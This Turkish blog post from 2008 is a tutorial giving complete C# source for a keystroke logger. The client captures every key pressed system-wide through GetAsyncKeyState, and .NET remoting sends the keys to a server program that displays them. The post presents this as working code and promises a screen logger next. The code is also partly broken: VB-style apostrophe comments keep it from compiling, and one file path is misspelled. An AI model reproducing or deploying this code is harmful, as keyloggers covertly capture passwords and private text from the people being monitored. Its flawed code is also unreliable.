C# 2.0 Remoting Uygulamaları 2: Api ile KeyLogger

Yağız Gönüler tarafından yayınlanmıştır 13. Ağustos 2008 12:20
 

Kullanıcağımız mantık, önceki makalemizdekiyle tamamen aynı. Ancak burada birtakım değişiklikler var. Örneğin server uygulamamızda 2 farklı dll tanımlamamız gerekiyor ve client uygulamamızda 2 adet timer nesnesi kullanmamız gerekiyor.

 

Öncelikle projemize bir class library ekleyip dll dosyamızı tanımlayalım:

 

using System;

using System.Collections.Generic;

using System.Text;

using System.Runtime.Remoting;

using System.Runtime.Remoting.Channels;

using System.IO;

 

namespace DllUygulamasi

{

 

 

public interface arayuz

{

‘mesaj yolla isminde bir string parametre tanimliyoruz

String mesajyolla(string deger);

}

 

 

public class dlluygulamasi : MarshalByRefObject, arayuz

{

public string mesajyolla(string deger)

{

 

‘dllimiz calisirken yine yolunu c’deki txt dosyasindan alicak
‘yazilari buradan cekip okiyacak ve islemler tamamen bittiginde silinecek
string yol;

yol = @"C:\yagiz.txt";

StreamWriter yaz = new StreamWriter(yol);

yaz.WriteLine(deger);

yaz.Close();

return null;

}

}

}

 

Şimdi geçelim server uygulamamıza. Burada unutmamamız gereken tek şey; hem server uygulamasına hem de client uygulamasına bu dll dosyamızı ve system.runtime.remoting namespacemizi eklemek.

Server uygulamamızın tasarımı şu şekilde olmalı (1 adet timer eklenmeli):

 

 

Kodlarımız ise şu şekilde olmalı (açıklamaları satır aralarında yazılıdır):

 

using System;

using System.Collections.Generic;

using System.ComponentModel;

using System.Data;

using System.Drawing;

using System.Text;

using System.Windows.Forms;

using System.IO;

using System.Runtime.Remoting;

using System.Runtime.Remoting.Channels;

using System.Runtime.Remoting.Channels.Http;

using DllUygulamasi;

 

namespace ApiKeyLogger

{

public partial class Form1 : Form

{

public Form1()

{

InitializeComponent();

}

 

private void Form1_Load(object sender, EventArgs e)

{

textBox1.Multiline = true;

‘Karakterleri okumak icin bir http kanali tanimlaniyor
‘bu kanal 42000 numaralı portu kullanıyor

HttpChannel kanal = new HttpChannel(42000);

‘kanalamızın tipini tanımlıyoruz ve dll dosyamızla bıcımlendırıyoruz

ChannelServices.RegisterChannel(kanal);

RemotingConfiguration.RegisterWellKnownServiceType(typeof(dlluygulamasi), "Yayin", WellKnownObjectMode.SingleCall);

timer1.Interval = 10;

timer1.Start();

}

 

private void timer1_Tick(object sender, EventArgs e)

{

try

{

‘timer calisirken degerini yagiz.txt dosyasindan alicak
‘dosyadan karakterlerini okuyup satira yazdiracak
‘daha sonra islemler bitince de dosya silinecek

string yol = @"C:\yagiz.txt";

FileInfo dosya = new FileInfo(yol);

if (dosya.Exists)

{

StreamReader oku = new StreamReader(yol);

string satir = oku.ReadLine();

textBox1.Text += satir;

oku.Close();

dosya.Delete();

}

}

catch { }

}

 

private void Form1_FormClosing(object sender, FormClosingEventArgs e)

{

‘form kapanırken de dosyayı sılıyoruz
string yol = @"C:\yagix.txt";

FileInfo dosya = new FileInfo(yol);

if (dosya.Exists)

{

dosya.Delete();

}

}

 

 

}

}

 

 

Şimdi ise client uygulamamızı tasarlıyoruz. (2 adet timer eklenmeli):

 

 

Şimdi ise kodlarımızı yazalım (açıklamaları satır aralarında):

 

using System;

using System.Collections.Generic;

using System.ComponentModel;

using System.Data;

using System.Drawing;

using System.Text;

using System.Windows.Forms;

using System.IO;

using System.Runtime;

using System.Runtime.Remoting;

using System.Runtime.Remoting.Channels;

using System.Runtime.Remoting.Channels.Tcp;

using System.Runtime.InteropServices;

using DllUygulamasi;

 

 

namespace Cliento

{

public partial class Form1 : Form

{

‘api fonksiyonlarımızı tanımlıyoruz

[DllImport("user32.dll")]

private static extern short GetAsyncKeyState(System.Windows.Forms.Keys Karakter);

 

[DllImport("user32.dll")]

private static extern short GetAsyncKeyState(System.Int32 KarakterDegerleri);

 

string karakterler, metin;

 

public Form1()

{

InitializeComponent();

}

 

private void Form1_Load(object sender, EventArgs e)

{

timer1.Interval = 1;

timer2.Interval = 2;

timer1.Enabled = true;

timer2.Enabled = true;

textBox1.MaxLength = 1;

karakterler = "";

 

‘clientte karakterleri yazacak tcp kanalını tanımlıyoruz
kanal = new TcpChannel();
‘tcp kanalın tipini ve özelliklerini tanımlayıp nereden yayınlanacagını belırtıyoruz

ChannelServices.RegisterChannel(kanal);

arayuz uzakyuz = (arayuz)Activator.GetObject(typeof(arayuz), "HTTP://localhost:42000/Yayin");

‘isletme delegateine yeni degerini tanimliyoruz

son = new Isletme(uzakyuz.mesajyolla);

 

}

 

private void timer1_Tick(object sender, EventArgs e)

{

foreach (int eleman in Enum.GetValues(typeof(Keys)))

{

if (GetAsyncKeyState(eleman) == -32767)

{

karakterler += Enum.GetName(typeof(Keys), eleman) + " ";

}

}

metin = null;

}

 

private void timer2_Tick(object sender, EventArgs e)

{

try

{

‘karakter disinda metin kabul etmedigimizi belirtiyoruz

metin=karakterler;

if(metin.Length<=3)

{

textBox1.Text=karakterler;

}

karakterler=null;

}

catch{}

 

}
public delegate string Isletme(string deger);

TcpChannel kanal;

Isletme son;

 

private void textBox1_TextChanged(object sender, EventArgs e)

{

string veri = textBox1.Text;

son(veri);

}

 

}

}

 

Böylece 3 kısımdan oluşan uygulamamızı da hazırlamış olduk. Yapmamız gereken tek şey önce server uygulamamızı çalıştırıp daha sonra client uygulamamızı çalıştırmak. Client uygulamasında örneğin bir notepad açın ve yazın. Bastığınız karakterlerin serverda ekrana geleceğini göreceksiniz. Sonuç:

 

 

Gördüğünüz gibi notepad yada Internet Explorer gibi bolca text kullanabileceğimiz programlardan bile bu şekilde faydalanabiliyoruz.

 

3. makalemde çok daha ilginç bir logger geliştireceğim. Bu sefer ekran görüntüsünü yakalayacağımız bir Screen Logger mantığını göreceğiz. Bu makale, serimizin 2. makalesiydi. Son makalede görüşmek üzere. İyi çalışmalar dilerim.

2 kişi tarafından 4.0 olarak değerlendirildi

  • Currently 4/5 Stars.
  • 1
  • 2
  • 3
  • 4
  • 5

Etiketler: , , ,

Yazılım Geliştirme | Makaleler | Windows

Yorumlar



Bu site BlogEngine.NET 1.4.5.0 ile oluşturulmuştur. Türkçe çevirisi BlogEngine TR ekibi tarafından yapılmıştır.
Sitedeki kod ve tasarım değişiklikleri ise Yağız Gönüler tarafından geliştirilmiştir.
2008 © www.yagizgonuler.com

Paslaş

       

Anket

Mesleğinizden arta kalan zamanınızı nelere harcıyorsunuz?







Sonuçlar

Calendar

<<  Şubat 2012  >>
PaSaÇaPeCuCuPa
303112345
6789101112
13141516171819
20212223242526
2728291234
567891011

Yazıları geniş takvimde göster

Ne(ler) Okuyorum?


Ne Dinliyorum?

Bob Marley & The Wailers - Lively Up Yourself (3 saat önce)
Bob Marley & The Wailers - Jamming (3 saat önce)
Bob Marley & The Wailers - Is This Love (3 saat önce)
Bob Marley & The Wailers - Iron Lion Zion (3 saat önce)
Bob Marley & The Wailers - I Shot The Sheriff (3 saat önce)
Bob Marley & The Wailers - Get up,stand up (3 saat önce)
Bob Marley & The Wailers - Exodus (3 saat önce)
Bob Marley & The Wailers - Could You Be Loved (3 saat önce)
Bob Marley & The Wailers - Buffalo Soldier (3 saat önce)
Bob Marley & The Wailers - Africa Unite (3 saat önce)

İstanbul'da Hava

ISTANBUL

Ziyaretçi Sayısı